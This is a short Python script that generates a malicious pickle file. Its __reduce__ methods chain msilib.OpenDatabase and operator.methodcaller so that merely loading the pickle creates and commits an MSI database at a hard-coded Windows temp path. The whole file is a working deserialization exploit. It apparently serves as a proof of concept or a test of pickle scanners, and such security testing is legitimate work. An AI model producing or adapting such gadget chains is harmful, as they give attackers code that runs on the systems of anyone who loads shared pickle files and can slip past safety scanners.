import pickle, operator
from pathlib import Path
import msilib
out = Path(__file__).with_name("payload.pkl")
path = r"C:\Users\uozer\AppData\Local\Temp\opencode\w33_msilib_opendb.msi"
class DB:
    def __reduce__(self):
        return (msilib.OpenDatabase, (path, int(msilib.MSIDBOPEN_CREATE)))
class E:
    def __reduce__(self):
        return (operator.methodcaller("Commit"), (DB(),))
out.write_bytes(pickle.dumps(E(), protocol=4))
print("WROTE", out)